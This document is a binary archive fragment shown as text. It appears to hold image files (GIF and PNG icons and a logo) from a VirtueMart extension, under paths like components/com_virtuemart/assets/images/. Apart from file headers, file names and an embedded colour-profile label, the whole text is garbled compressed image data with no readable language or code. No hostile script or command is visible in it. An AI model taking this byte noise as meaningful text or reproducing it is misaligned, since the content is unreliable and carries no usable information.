pԑ#N鉉Ri+ݻ?4кu[*KN8q ƜNƜN@3zKΝ`;qBSRAU!B!B!B!B!B!B!B!B!BG>X vOl'*So{۟|\&ojmPl5τ>_B+2c\9IC&Ot€{O{f]gį(@CRI%qM mR+|PW98:`BOL2>o_8sj3;gi| Cz}@Qc[hUn6&4S{z8’@Niz/޶ۥs|hka"vi+~'涨g? TE׆i}k/ +BF8r*NL|6n7B *EG忽3kZᔸXjۚw@~Mڽ<ө'溔.4?]<3y hqOBa__=bzSw67]r\h'4|Tт0\1_cb~4Mb(#U<lj*>Tذ ]םldy@}8 x1$W3v]NP^oPauDj:Ri-iˋ?|ky@s K{}Fd+p:w=S1VSC9BT]h9Dߠ3㫇 IԬ̔ŬM=)j' '3½ Lj]\%:q*[JEC>ΤD3kw٧7ݷBZY;! 0wR>Ho歯/bqbr;"˔uůڜ޻h+<,q?6 7!Np=gq@_BHã@9Q;F^,/Nr^yvK)I|#-ܘ[aw QxL~PnTSK_ T T?wN(ڶ ٘H  Dx?~bzgygyg=[R__RUzbPbh_%&WE1]kw9ĵݵݵ=.򺼮K)!䟎;:e2\UHUHUH=rTS o7Kް_~ g]VW+ tן_@)JQ pssۓR:A\h.4BBBw;1=k,{MZ.'(BBNw w;qSæsҮJq>@BBB]<cunxyzᬐ : =fyS!:DZ.wVnN@vV֧ѯj03-ݧ$<'<'T %B6{}& .wLmQG׽};D.٘!֙ufԒK@ʖ3dþ_/ hhhzP?wvI]Ƚr>7s{wKUbbbpttt;(Yܳ'P\S\S\pc\@^'?#H:yD^a}}! *9#9#9)єhJ3999mmm^^^nvXi4Yg-ʺu)ϪϪkkkN6m{Ϝvۍo7O'4|Wz$H葹3...`e2qC8C`X, L OOOOOOR*%IUUզNAB1cVǶJ,}Ʌڴڴڴ>`i0 l6TB^!,>v}|Ԝ9Qs5$X, Z)܂[p ".x\4222yzHPHPHP+cRo,d!!!@TnQm̷%[`Lo:McVwA3B{^h 5HlvQykf|^  YA t<!Gzb_ə=xvَiXُfd,33̹Ϥ2v,T#cg_lNe{"vW$_]X՟ t\&?}{~7{=oTҵJF7?gVl?,6K;K`;ik}z"*Ʋa .t8%(rMK3T:(,9r|\dCi`a3PRuj'PMUevvf탵Jbr4 |>ܝBDj.T|^񴸪;2 taӑ+<zj[ק\ }*U 87YXJ{g{]8;R{&fF0׸Пս?pQ&n<ɡm xVRF9#dz_,V4?iX"Wp>R;CuU8 UNd '_kFn-2Eo1,<f ܣo*eg/&M[I{UҊe tܤa \!xK\y3 ۑ'¸q*B .?#? *||[az1'&Is(iÀ0U3_] D|YqjYB򉙓>?*(r r.ZYUSJUT:ںE e@Ni4Siq;`hj/ 8"ep!xc#p˱j8g|j pbbq+a=񓆅¿ƂN-n^KL~]`W\D/5xzbq~)'}j>ͭI 6a|3uhfm74ȭjnz`6O4,5mz|nwׅb9|};a zɪӪӀlG3žļ-==6oP4<36O)B^֘_6FFIBcP-ѾikL?WGY F΋i#r {{?,ms@P W{7)7NA,G'3Bix.?to>ӽh*5.M) n_܋܋܋4* ) + 91h=(r=\C\wN^Fwj.O߽3spvvݍ%x\@t ;9< # an*>S|  akG@kcZ*[IB \!|B >$eIP> 3hJ9%al@2JR CE`zVSM@ͱV:5¸x/gȵBӊ ??r%ַo s\)t)J'r(eڴk'rkš0 n {E`}NlWٙ@ɩQ5yz%EDBzPƍVl)Wmcmώ!oc^ͻJ ZJU@mQ>*4/kk7B~hT3(BK6T?-aRWI>*7w[W|'rfT<~P!T KK f߰oss 7@ҡ#Im&Zcp8sN| ZXZ +u]:q@M~((|ž1go|@yr?ɟOr"rX@^*Q&?kBcz*%2 ~.xy9ђx䆢Q_Et̻Ko~99y`UP`~wp5s p hUYeK(zOWnJw{ jS3%<_/5cYlOA+Q\===SLfrNw;|6[%#J,޴N~QYܠ,4ojh>LM^Jϝ;1ر從4T2o @rv)Aߡ~ȕ(A+-n5R'}Y w{25evC7UV+( rr2vpv7o.PոJQf[MKʫd@LO71"ⓓ)ܷ{ƈ]o:9sqqqoof@3Jq/V]{3N9 iYxKg]=]@շ¨曊#0ˡ.NAOx0pʽB!B!B!B!B!B!B!B!B!B'?_@!?^>t)5u>q:}>k {l''N8q>quҥK.-1Lk~7_>1ӭ[.߳mۀ >8Ir!f W_~+(HO?qh۶eVZ]Сu6mgSS|>3f{ tu,,gfv,+@DDRRfOrUR(xý=jҤE-]@6>I'uS0b0oШ@C'*wE|Wбc:;:v,%8~Ŋ֭۶m.B!B!B!B!B!B!B!B!B!B!B!?KOTWWWWW3P0fzIv>E0bcu ),8MD/"cLa~JUQn]jp$~^  $Ɂ4T뭭MOFA뷋PSS]m( иqhh=Wc;%(zd1QJW  ?fV>rdfW֭J !vD뻂\ %(i:)k痔0տ|>ϟ<i(An߷;w6p\I$z }ѨՂPgƞv\4TTAREQcMAn۝N]< g䆶o߾}vܷo.iHc`0𸸤$ 4466) >&8tȑT[[E )[0CCccirm%u0VTF^щO0|m#@DDbA !B!B!B!B!B!B!B!B!B!7N2;VP]8@UZT*z $D[5P(X@X x!A 2%5_݌UUk{2gc,4s~c,+_g"YZc̙K<a̟osbanOQz%_}n P"\Pr{kJ$5kmR$"R&`6Z @ƀHJ%0&m6 ryB6^jdظSY3e8NE$jR ˀM$`1 $DP{ !7WULzBQU55mOp0l 0T:ͦTS(J?;Jx1jCXv6h4:|BHCƫՒT[@\\hhPPXxRq1 FZ xTUUV:ZPQ"T[2`2iz}v?RT_BT*Wown~O@ \^R@LLttxxvBy@yBT*5ŸL&A8K tEIAjjjj, (l通ZQ]&M6WTO\ fv /Ǐ=~<ё DP(Fh4`2 TC}Ee2L ZꊫZ_i&5.^]:^o4nY] N媯FQh4qqiTt4TTA czLpqTry<ªy<2Ri4&z(ICE \JVk@qqqqETF^%%ŀh0~j--ZF]F`LEJG Pƍ7jT_9 $%mۦ+fzp{wc^zNx<(ICE \RT jkvw }gݴNS@$jZ++N_!$'פT ,99DO/,',ן8Fj3.cYctгxO3y6iDu:>^z@TZm0 8'!B!B!B!B!B!B!B!B!B!B!}ԪQXXXȘϷ~U*Jq>>*+Ϝ9s1I4Ej4~Dq>fT7]vnw;fx3͕F5Pi6zgBȿ*A\/a}%&B!B!B!B!B!B!B!B!B!B!B!B!7x/t]&͚Řx<@iiAAf&t6[uNh4fxrtL`68`2 !!jWW* T@hh||6oYt)T OR^‚M65` xvƀjd[8h޼Y><\P*u:A\.ƬVqۃ?7AIMy@SF --5q$9@PPiix8l46o8%%UU@Mͮ]{$IDE&BNgxx^`2$:zP"W :{`LU*eqcr>$$4ib0qq P|y?ɀ))VRDb#.`Ⱦ}oYv`*2222Np0B! mYuu?5--99;;^iD"Hc ߰X `0 4qlʀP0PtDݻv,)ٵ HJJJJJRDGL͛ ܢ"k|x?嗟px߾}-D WPk 'W> |Oː,{z޽XoJʏ?ŋ+yW,-]j  aG^=:QR{ ~e8RѨaXPTԿ1c ݚ޽{VU(>ХK^͡P]P\ukI Iu"""""""""""""""""""""""""""""""""""""""""+D0 Ve̊]8v 2yuN,MgV9C)(mX'@ x'R@ X{e57^rpOYߜ@D|N]*uut 2sx` a<O``ͱgVs505֞lPoROuHoJ \'5@xuG7}:[rҋB!DD"jC{4`Ӏ$t(cϠ ?Q&€uku'6[loO|7JꙀoxW/C='/y\< Q,[Y )T:eNRBŒr@f9GYP>dbK.lL@Ҫ >D~i€`"ND-l@+U ûb?zu fG?yj_ }lp. Yc8#FBLkZ@D 6mw `h9xEC>^_}`ڿVV/~eSW@#V!<.a@qVxQ5@T}YlvW9@$榿yXljfIM;\ 2&`?乷gT"nΜ bX 5Y8Gj<<ЍS`}nÏ<h^KG3WoIUR 8o;M#Vyn&Á@;lj@qiM}W;n?bՀA)@lQMׯXX=MfW#w㭀wA6@iw':|"j4 lDh݀  Nj6y_y|' BO`L;m|;싁%w[ԫQiJK}t9]nBdc-1nwz=:P>;2~ΐӁlmJ`$4O߾@h:\HzBGJ_8)a@CȥKWwrN<), ])*34 iro J$TqY` yCVNLWVc?2DOD([^ly3SI&UGx]^ի̔dy`W89iQ1v s9p^s~tz#Hzޭuu},wfIF4fޓ9;CeIOc@TW}ꚛk-cmtp5vѥtytpu(\3ztp5kjѨZ_=zUښ5%55n@RV(Pfu:ߓx!f4͈\f9/[RԹ1q48;|;9ӱ 1Wfc+F/Xӓ;n>LxK1MΥY 6) *HϻO>D~i//j7LHHP3L;~T4a 6N""ODc>Xau*3>8l0feؚ=1[n0CUL̑98ŸqQl]ĻT\,@vsدjJ=gb. x.tp-H)OO K NI 7t%(AXO\$sG;Hpm8Tz*VnjvmӪ7Vʏ// "y4&Q9+v/@P~e( wo܄q`o'^MV $ue2d>~Εb.wEr.snomOtDԞ)Nk+# ^4W4lT}Uun@G)U@Q^[Tn\^q,P9s `m̑~}逷={}CԤ-ᾉ?YBw.hH,-^;JL"#h . 3~ Kɍ/[S6mO O O HMjr pXʼn?yQY;>qPO p 6J7e@ͻ|W!!#WJ/,bOc!>9>+sDMDqF\@5N׀To%G[J m2ge<*[1r,Pj_{D YeR_|7v?"_ZAu@24nov2`\fn4poqtm zWHOкȺ---\5Z pr>q>@X.4SKqG10n>l x0?7C@a||| PUU @+Fk'fDMDM, BB}umf-Oa뀭9_;;ə0`bwt;6b#6/_?N*4eɘ~܏ac:+C".r|D'8Fjn)/?rR bFv"ƈSÞ˼Y;ʳJ2\ٷٷPSn1<DDDDDDwDtx۷o߾}tݲZ_z=M~?) H/(lIDATOo/ F)/X֬kk۶mTUUHJJNnIL@>} zI' ʄEFϻ:wy?~z}> nسg2  BDGC &(:$II~ߺEϷ^k}%qehpEK=5멧͛7m*.m۶DZ,l_Q4:t ;w%>7r%::\0A!4E `ܸsϽB@cX hhhllh CuD"pnqDGC ?\.v3˲,lq'>߳&(:$.˥u a`i-qDz ,_E4MӶܦԒt0t0D Ao8!]KbjZ^Я!^K:kʵbXe-|>3P1Ao8<1TNռh48 (G ~U˽v-sP-&Iqx3M Ϟolnu&QEDTն[Z&m[֫v Ñȁ 9g萴TRwjwS(Hz54ull:~A7סY}}CC0Zi.&$"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""FO|Y&MݻO>}wOKKJҴRN4M%?߲,K@Gʬ,799;{ܣ:D"jnݒ%>x99眣i(={z۝877G" | G"i9sf' *)U ~[>}qDZX ~55uu`-Э[AA H)ia7M;сQl˲,6M0 L0t=|PSS4ڶ)㒓8ql;kIH-hMXmۖm۶US|?@Q ItD4AٶeYVmY-C<) qsOXkeYeLPDtp8ēRQ})SR, D"xT_9(lj=Lv%"g5vرc*JffffffJJNݺif\SH(RU4ZAP8R)VNWLWPe˖-[WP( z3fc=<N4EilL3zHDj&MˊWLVYn`z_+(q8J}}}}}}$_PGfdt}}~iڶ `ZMM@^^v:'29ZAŷsSs'B"eebaAax<;65@ZZU[_a2eOPI!cA'版YTL]7 LM5Mr@JjnoOOﯬ ZrR8΁ZZMxSS:uZ сQJ&~+KiiFϛ6%:p":y^ۡK/=嗏~%ȑsЭۿ;nڵp˖+ydٲ{㍮]% 6vqJs l9$y2Z1r VB5:vtx\G979C±PR(#tˏ6':~j_`ڨYnͱw*{G >}k6X Ё@16abtr<)4>wa6B5OPZ{VՃΝLH6/t XZK`qz;nq^T[&u;W)ATcBX~^bB詽a6F@ S>{Q\uf| ЁwG[s< X <Gb]bk;L;?/LPԆz6JXeA?Ub9Fv>yA, !*o*8P'ሀ܂܄؏ ۰뾻{wwWO7M &@DNڑrN۝1 4T +</c:$l"-b+eX <(J %[pMr5퉎'&(jCʫ@Nt.C {At<,$[y ~AÕOD P 0@]…ݿSW=7LPԆK jbrR 9:,\rl_:^t_ k|44p.p n`kZ`EwR. L+o0@A Pjbyr|HP \ TNl?| FʄzU [;2ʮ\K*}[!w̞lޗy;ݘ@v]Q! 6P_l=!"oT,F ZUQN,5hRM7PfWwdH@.ֈe@llsf~_+Am:zn]s5Ӷg\^o^@9Fc+ݿҁ%VG6KAu;w&㽣6M-]0>eϩ׽qE=&;9S{ zLd֯e>dJ%m2HA\ߚ.b L=qmdbC0@L4tnto9sd8w8gI_BX!"%<aMwEOV`Lc wS6U+Iuͯlۥe%&"""":qڨ>fPJG\yg<G/00Z|) 0~y%Ad YX\Ltn TF*#կ'-[8DO QѺ~̓εw.[$N=br:(4 Mґ؊LXT!2j?hbcOa<(j ПoK3Ϋ׫}%|OrfO<{ɠ,F168? \' X)ó7 cT@ C?suU9{%JK2moץRʔPt]oǺx{[N2N}*׬޻uuۆ;5qaiwΒO'3۟ v/y`Ksk"$:xԆ2Qq%IoL~m7Eh4OC:Qo}?_p=ԚoWX,Nt0AQ2_NTROa)>ƒgp2Ɯuǯݔo[8Q(N01?|H1|dB/':~j_ u6Q hƨC=:%S 1B CqoZqR5~h?hϸT5T֭Lt(}0 >pb wOY *S@tOtOGʲ,/8?>qї[7O .q(uk+#0G%zBa>&O(>Z)%R`!P'>0Lۚo 4gLO,AQȨ\ `ϰ3`+1&d\d ~vl|bEߎ^ X-a5m' P{[] ҝdNp:P Hzi+0QLFZ!RTuv};cecMC?z; {z^ozσ6 01P'3seQJS9V\ځlj ʹz`j &6TdTc`qQdx-yțٷBkB>☠WiWYl4&t}}s|yZ^/>FeX‰s>`ԤIENDB`PK@y>\&^Z>>2components/com_virtuemart/assets/images/donate.gifnuW+AGIF89anOOO}}}ddd⊊٥;;;Ƅ!,n'dihlI-ex|m00($hШtJZجV`&f!zn[90~"{"eggikr" h}~zƹfξ²Ǖ֤ͳL@5 @t tϠ<}ch9r߹H\IͻyHk㳆</fG3,Η tDL044  <0xׯ`ÊKٳh@ÅGT(x˷߿ @AA"tPxǐ#KL˘3G%:# t0РӨS^ͺװcVM0$Lƻ N|ڄ/+_μ9;PK@y>\w::7components/com_virtuemart/assets/images/vm_menulogo.pngnuW+APNG  IHDR@| pHYs   OiCCPPhotoshop ICC profilexڝSgTS=BKKoR RB&*! J!QEEȠQ, !{kּ> H3Q5 B.@ $pd!s#~<<+"x M0B\t8K@zB@F&S`cbP-`'{[! eDh;VEX0fK9-0IWfH  0Q){`##xFW<+*x<$9E[-qWW.(I+6aa@.y24x6_-"bbϫp@t~,/;m%h^ uf@Wp~<5j>{-]cK'Xto(hw?G%fIq^D$.Tʳ?D*A, `6B$BB dr`)B(Ͱ*`/@4Qhp.U=pa( Aa!ڈbX#!H$ ɈQ"K5H1RT UH=r9\F;2G1Q= C7F dt1r=6Ыhڏ>C03l0.B8, c˱" VcϱwE 6wB aAHXLXNH $4 7 Q'"K&b21XH,#/{C7$C2'ITFnR#,4H#dk9, +ȅ3![ b@qS(RjJ4e2AURݨT5ZBRQ4u9̓IKhhitݕNWGw Ljg(gwLӋT071oUX**| J&*/Tު UUT^S}FU3S ԖUPSSg;goT?~YYLOCQ_ cx,!k u5&|v*=9C3J3WRf?qtN (~))4L1e\kXHQG6EYAJ'\'GgSSݧ M=:.kDwn^Loy}/TmG X $ <5qo</QC]@Caaᄑ.ȽJtq]zۯ6iܟ4)Y3sCQ? 0k߬~OCOg#/c/Wװwa>>r><72Y_7ȷOo_C#dz%gA[z|!?:eAAA!h쐭!ΑiP~aa~ 'W?pX15wCsDDDޛg1O9-J5*>.j<74?.fYXXIlK9.*6nl {/]py.,:@LN8A*%w% yg"/6шC\*NH*Mz쑼5y$3,幄'L Lݛ:v m2=:1qB!Mggfvˬen/kY- BTZ(*geWf͉9+̳ې7ᒶKW-X潬j9(xoʿܔĹdff-[n ڴ VE/(ۻCɾUUMfeI?m]Nmq#׹=TR+Gw- 6 U#pDy  :v{vg/jBFS[b[O>zG499?rCd&ˮ/~јѡ򗓿m|x31^VwwO| (hSЧc3- cHRMz%u0`:o_F0IDATxymGY'{ߪZ|̳7 asAƆƖlAE|ږǶmlfPFDA%Ф3qCƛy8L{\SUk}CA{^{ڵ~G~8f) GkSƟczkEdgxܴ%u"S ((|88_A>.79q(Z!/, @1H 0'uyatm40%hAP(@<LC33)D4G{i)~?/,?Z :jp\gų)igmk O;ۏOo O!l6`c@L 虶/̒3ׁ˒WXmZaQ"2>o9Z۶XE"p/Kӆk ][F>d [P\Flf`MtCQ0 K(9lE@!{`6șZIhO@"3=:& |ֻKfs MLAA:~H\{}JV`)@)9<~?qmD  ,al(`(| Nx.̌ި(ĐOzzUw?@7X>’00"^RC)fД5ESX @fu0J 2lo|00c^ =cQfT&0 &^|iS 3]X7$);( ǣP]wQbjva}-8E~HBo_MS#ی_U Wǝ"&ffZZBL,wg䙃vF潬P{\eI0iv Εߩ Rc05o-ҷ߬LM_V@ ZQka#Nr"7晇/Rd𿅱y; w'`:ƨ k1:M"B- 9)C@*ysk \CvphS>]nQأx+{QHq׉1#Sy4g0aX8e{{CVz)hTMDC4fPkO Il0@$pZ m48Fom Ik-7tf4MphSK{u5yGXI6kHEA9Q F/`Bфx"ː(}f7,qSȒ 503 "8@'&fom%ym9xݣ D܈_?*QZs T{u& 4 DXNnX2?qHLMk受;?')6ק[?KO&33̂@%Om(Y'_o*RyONR$f.=xcĦ@L?cJ%C9RD:Va$Sǀ^O1[=WZAmw2 8[H kh͢j!r=ez{"OD t yԏ/Z%/n헲  !(ޠddLC!lQ@x<=|gu8C ţl*sY!B~ hE@ڮ+GeY֜n1pyCV#b4OF!qP@i2Q.Tkm?`>- (Hex"wFDi--/ڴ?|61%q l"7+YANxn=a+.а@3IsZ#'&%HYX{ J]e"OovD#Y-iF pۤV$ S B xPڎKj R"8 dLЬNt_v/ Wz+ L ԣj4@L[ힳsC GA'e+)Vz^ܠ:Қm Ko]{תyliW5f2!BhX*gOC6Oz%CDI/ȭms f~. m|7 <'@ C@ kli*ynC?Lyh@SюXܗy֯}53ƑLً~BkpZ@술I:_2pC2՘iCG7<<h3>A^E>/j݉r"Ee2ML1DQ R7n̑< _ `Uo]t_޳tTN3Dړ<kt wg x(̻<X -Bٚjr}բ_hQ41:CuŚ2Y!őOHfP'"¡3/)B@0%Qz> _,(sbC0NNնg}*:fc*.GHHQT4 ?wd/ҨF (jX@"I;l=e]f_ J5L)OӬchxݽF$kKZ8Qey,zg~/WI(u;xWճU x{qE3 5" f*xC#@^I3uOTb̝N#kA3aOd2Iv"iӅ[K74A.߿~h߾gj >gl1v uU=$J8kҁJ4fֳgG݋= }7Alf5Y?E+{6x;l V"> ,-H)2ci(@`VCF @}vc(:2O0HI (X<-22AOY.w2LG 2Ê8r Cſ=7RT oA(wHi@iLK9ם ^fʙ15G*imm}m;&8O65=;ˌeR [M3KW3R@k(E |=+q@#S @pxZ@cc3zB3>dq%x6+B FH w!VX(x @':Qj@;J_cU%c*Ks"ti֢HG(r/)-*"kӤ Ljwĭ0/#i4漐M2Q0~n[ݿ)&@`pYjIºDOnFtX0KҷHm 7V^n.mj1_mJD62z@8ouL; "py6Omm .Yϭp!GXK~sK$uS٨*B,C[jo[+v#:+"ß ƨYTFnʉC{x] Hs\]Ro1`XLuL?;"V05#T뼐}h孅# 4fS5*9TH㦢TyHknr3i"QDu JfN>h;"/L ;pfgP(`Vn~9lg5C/%uRpƌH``sSݸ(([)iB;Vu is^Ea. @^vu:{~ ϨwuL cd"$~Ү+.J3.+w5 N77Aigx(68tU:S ĂPΣ]gv1b`e5AAw ۶@X ]"jmVtJ!Pv*I@%^ՅAdfklmѾu~涂RSܷB♿Xf"8k7-h5P߳_*,{gj|B+6Jؿܽѻ ͐qڔ#͈qV7%>b۽\w3"lR]!9"t-h z@O4CDyz>k",4xs`E~ggIU zTIZڨ/iUk6'dka{5}TS tCB5),b r`ޚTG?eftCW0D횢+a(fZXՊafvMTe9 *Pm:P3fx' h^Rm=KԷjQR\ hbtD8_PHWζ)bY:Aǩv}SkRU~Gعopϑvmg ńQO7?TtIfqg ZfYW< aLp^^Ig|O&A`-h.NM@e(#mZ#dBa3H~fRЧFFX@%{Jbi[Z_yF<XQeT(KA#4U㱱n0;] 0Юk ЊZw~V@  Pʉr#ɜd/{&LE =#)|Q|8M-B[ld=8Ri׾:GXܴgO- ´fŃAqCbXO|c3Y)σˉ}`@3EPXWrp$0sꌥ!@$2d0U0]C ,}K5B.v).Y7qcYV rx)ʉC@KQ=Ppo>yD@MćK={+3u]i2@dxt5&8ѪPXB!D.uZ(()oQaW3(|*•w~0MMy"*_<ŨB,44(;D/R[L('p3xR {4L#D,w Ѣ(nhg6÷FF]h4A?̾vjEp 5 @) _fkcSus(#Wᵇ:\+quc4  rnN)oK b,8ԂbB߿ VHؽTأ=;6)2%D;3ur溾Vn"̈́3fE5gֶD8jB$hB3P@!ik(Nu7~i崸Ou Rް@!pa-,!%AbK% EYHb1RdY#_j2MĄ\3 ?!HG5?yNe)";8:(SYu]~&Bͫ\; ZyH9zIIU]GnwybbB+ PcSusuxod{/3w8Dt3ڢUfk*(Bd=&H$ )C+{M(/y?)J 840xw>֠\be>cBd 5}H~EgC󵥞`T&H@(j7tVz9rXN rZK $*( x/X^1{^R4$ le ^Ssu }w ]N"JW @Ȇ -7DBUZmt;GK(!dWX3oF'+O!.+uoe}uaƋDXgpժ44'{Q D@-ЗteZS=7R#/q7=J H)sJswKjRιJVBs46ȝǩ9_ !aLkjme_A%k&8ɰs$q<#VzKV"`hIiq`6RKC)Ů#:{cBY%bvh.ISm|AB.WY;Ŭӡ2E^@iT+H"yZ oSE`;ߵUٷl +AoZ?jL5^op2z*r'Zwf;m3@P\%uHsw{U`nzEKZ?E7)Ǝ,CiẊDLf;֏qV@+@֊7=$YFE ^JRtP?iiV 7|$q뤁G8H1ȪEf^JZ/Ԛ; fHSJe"x1 $1T ޮ8dTK.]YefxP/g[a%ta=v4ˑuOӷN7=,瘰<"afw2bk"4 O>-=Ofh@+~wR_"\ a,ŦZH ,Fj b8/սzpz=2ljM׃ X-w/=Zrɛ5Ko*@8qў\*'m0l֣ )?']Fɂޮb68zk'$-Er8Pkoʆ+_ce@Dڪ^-Es!m7py~)"[y1GmamE1DW֍KGth)ŵgmj=K?eX<;_UH"4J_M26z@3b1iw{M {UozֶFAz -bɻl 4~}Xf 1;V;!|(B`nM_Eq=[FtS{kk ˀ~[gϸ"}8 dDxA?b9:eDKHCW"WɭLF. -%Js{Ǘ7h@ݻw_T#ш +&֣3zauK+z{B;Xg-Wd=K(]JkT)/Z2p(CBhѓG?Hƃ_#se=+1KD.NUD0K}[EHQҕvf-x7"Α0ړ8kXʽ{>p^C@ÌYê58%=w{Jޠ+`6꣓Ƚ^JcF!sf Om~\ތN0R" Nm ܡ xWWAP 2iBÑ#6Q| $<ꃊ9Blpe4*nNT10<,k, _Dm|.qP*<,j*ה?w^@N&6)(dR}-4 x(\ at\&= Uhe9XcD 'wXODDtJA1aB#*˸dnu\ѰRnL-wi+6C^-=.^8ٺiMG6%mlVpxX #zO۶xn݄~, <8܂ m=h 6GΕXXO1_pa$V`:V#%;p.=nj[FӯA"OG spuyhXX pyq+u8 8([a%ud SXK. 8A(B.}==;~A&O"qމZ 6#5vQ m0#e> tHU2TV49B1,GW y \؏+a&K"|l] y  p(A`= C"/ 2`5)dzQ$3Jl!|C( e.J&#V*KyRpQ}4oIJ@̓i*+<e cA]'@u_ T\$`ΐE 27ê'՗Tk麙Bo-_0vcEb.;?ES zx̽8'>I9Wep-؆|3~n"Q}JDps=q;M@snp-K(B4{dN ^7a|=_2 \Y%8q1kop:eY]3 >N5/z(!?N^[FҘt݂ZVK؇Rj-͵JRmR_/Qu0_3wÐE Ƅ=혘|ZdTa8܉,M5j~\&z8VubSpRnq_X-,ojjoP%:0]y;1[\2V+՘zWa άƙcS e]UX ϡ!F /][@V}JPc=W%tV`}cEGe*r/]nY99391YǶ;QꑸV-lTmzцϫ1MYVGVoNº"~wzOu{bg|j&;aX%?3]FTꚬb}/򜨝^ߘ$g_QnpdUD^,Ԋ}wgVy.x{𘱟V@['}_ (J9!R/~t3ͭ'g1+\dDF5ѝU8@ x1=fl#qb1玞`J|~l}}pN<|̹`<8|'*~A}oԃXNd;SOS\Z $$8components/com_virtuemart/assets/images/edit-24-grey.pngnuW+APNG  IHDRw=tEXtSoftwareAdobe ImageReadyqe<IDATxڴV]hSwGôMsbeƵ}0C}hAa0>TRtt` Qd̲mEBa/FJb;h~xNL\ɽ}˽97TUU1NkqeeU,-R]GLss֭#):i&޹}'zfCsg}G C[t:`PE{?ScNj ;w7ea(C$D"×.'N|Yb o.|qMd@ߦ B{ TTMŒ~e99bMW rJ U m@YujB$QU[ERf5o%[P TȲL(Gn7F%@icSooiadǎSX2?z1pĔad(Wu8Pv8I!# @A$Kw@nK) kkkX 6<-kAfeBvɒ|bhhHDL'pt N"qo&d`yy~i.Pty>YXX(qGG i-d2/0߿weYv"fd 2|2c,-- >JUc{h6e1#**]Xb^d麪@{a \SB(BX%lu$8婓Ir3[ZZN8mU)I|! sTbW91wj\'h2*0ȁs[rV`,S- !>2|T,Wgf09YWd}ՕeZ__ߏX* ΃X ߮GKNӸa34IENDB`PK@y>\]x2components/com_virtuemart/assets/images/delete.gifnuW+AGIF89aʶ¹ݗXlོ󾾾lyyyur|ئMnr򀁁}߹m{͕ެ|}|]±ͪԞٲrϩꤤֽcy~^}Ouʍ㕟tģݒn~篰ڃLpÎ;XYeƋ˷Mj΋_u~ÿῼ`s]}ϖǐsp꠱ٷwww񷸷םKsͰKtͻUqۻכLrɾ"HәiE_i~eRmڽpé㔙bp󄋗郃ȷBatֽPuVy쩯ـQus֑Ύ׏اcڢսд! ,@ ("D 0`{HHXr)~3A%}"HN6Qn,:lj mLhX7BO "pQR&8 ʽ4 6\zhm[r#$%\cU91n:W `PpMYC;(PCB1 p O6PXO,#VxcbU\|GӌP2@E(Cq`'*(Ћ%qlD KmI HH ;IH,p߬]& 9,ȓH%cя` r@ O\::3components/com_virtuemart/assets/images/icone48.pngnuW+APNG  IHDR0xk IDATx^uxT?>w!@)VhKZH)P8Ex !.mwo& Jsl6W̙3guPc>}a5gi9dfFESw֯X6ahlpjPOC*)QNyʽh`8b@mRxVmךnHYH#ERc84] LKƚiFβz55Xdeb'4([)%e5aY, 9^'Gy,"IrS.DB_R,|Na[ĉ9:C$d<V٢T`9sEnjn [ܚ?~o%9ٟ O J#@P^f2DFʤR,dZ%(z)m&6lS]Ye謹?-}Bzh4`{3BH<*BMd[l#u<EvO[Q'4MĀr{b>"DFJt:mN~E'ו'hta*|ʭ[YO+a5 &@- dnb me[~~sv1]Xb +Ym&my_Ղ[8}t]q&6"';ؿ>Wc4rKNf @BJ~°J*a6;ϡb>[s{/)nXB^ 8-!$&mW;Qnayԭ ӵ5,otҞ(ϐ^yHvsƼo4ԕ1'RRVCOZKg5x%9dPYQ!}y^ꯄd fD.>Q\TWͫ3-**@,in+VХcGnwϋ4ya]iI=i(8#9WJhf7حi*Lq4QyiFDx 8Z;/R Y&]@4h&XMCd>8SU^!T*+ЌR7԰fc@.K۩c[ܻKJsE5괴^SzO1v4.:7Yќ[g:^Q'3 *9ŠQ[kIjpwy_Ou>wF[Ȩ@]XJDh)*?c 8R\_ei Bӕcnjdv+qţnwλ;,:.,%H8H_0d˿ Fݫg/kx[>Ii3a%u *=߯_O{j彧j8GX˫wNSkקR!nDE~OUNR 0遉LUH V~]7n㬌d,SI&k2.j1dWTfq;s.:zi S%?_ؓxԁE'iʲۡU4<=wB}jP&Y_]/Ń9ý{yNX @* GY'*CayOVܶMOލk8~oEkU}hC=&'*anS b(O9*||Ug]2}|i7oiK%r~emo$wtߠ)9vvWtͯאg#ڔ]MlWPpܘq詯 $'ԥ/_$?$gUsOKs̾wxnh_η1ޠA3 K,zБϝXvƝ {tr/Ww )o鈖^ ^ֶe PlqSmixHu)8lfv1N'Yw0q }SX,v@P+6_\m:apKb|?_KЙs7}G ue5ze/o_sǂ^QQ>lڤ;n A.W?ާyNݴ{;#`Dب%%áaEiRtwZԥ (&m8zP eslSȐ{zltPHdOל plvͭn\i۴|wwN֨/>{i~'≮S;'1c]v`HEF%e ޏ*d ;##6Ps$&.42֤I9,8+W;+R! L߹eЛW/45M^BSLH*2Gj'EgfxPh'~/6i'&XvY*[NWR=m\,%uzj<-=8:(G%MӥYy[=vqyQVѫS=qdd3 ^Wy'2T<߽eV 76~s'K[V`z)N* ֮~;;ύl_;g[}hGbq{)s+-)?ܒ.Zd v,=6}cqN| !LvٓZ)fee.Zɫ2p!L}Z Ae~*Ԕ滪{[}|>KB \Ʀ]ܺ|K]&OAwWHU56P[&q {:8"@ie}riXC<#] uTX護R?.^~H9ebH]'qcezɨ'۽9n}v4O?H޼KS<|5ܱny1&:.g)ۗ}V{^yL}HA M^ٖ ={]n<\=%Jr<Q ' $DND>:zg ]$ACRCbc6]]^^~=00dSQe{/5j?T?bXb>I쬈Ug]ʺ6b"R5AC_1OzK7Ax*;yo/wozNJg/Mķ55 !D0WMy?y!1 &CҪ"z_s|vq}s"/z௤On&O' 7G݇Օhq=bpfpLX\#/hF_֟R6c1[ڬG@_s2fE^kjE0McB*", fZc1iۄzD&@ɳ\K)?03 a`Tz@0i\`X̛ŕG y<pdfIݪG WiF<=R;zG2P&d2O&/DH/ T_Ymi]yT:s,:W^;ꇓC.:򜇀"vޫ]@ܨ'v别 ,;CM\3:g1$?gE ɝ y"V9vEq{$NЊߊ^0fxLׅb_c[3;b!qfB$ .9u_ш xDzs#P;DY- xܲZt\s[^DN;q&b2L7@vj,PYkF%u [ƁR)"C?T$ ,xqi[>{]tRzOQG'2̤3[z{/[-a*PsƊ}7/ hhapqL9ԏ8)8Dݼf& nɐ/e)DO08E' jA E Eך:/LEZ2j)KzcC %MR]!k8+h`?B$8!#HF/4C1Z7"kgB=p7DDI  >^sm?ܹN@|933 oa'+$Bie¤g& xx(L;/(6 ]'^~%QBd9(0DDN$…pស8FmE#I`ܰ  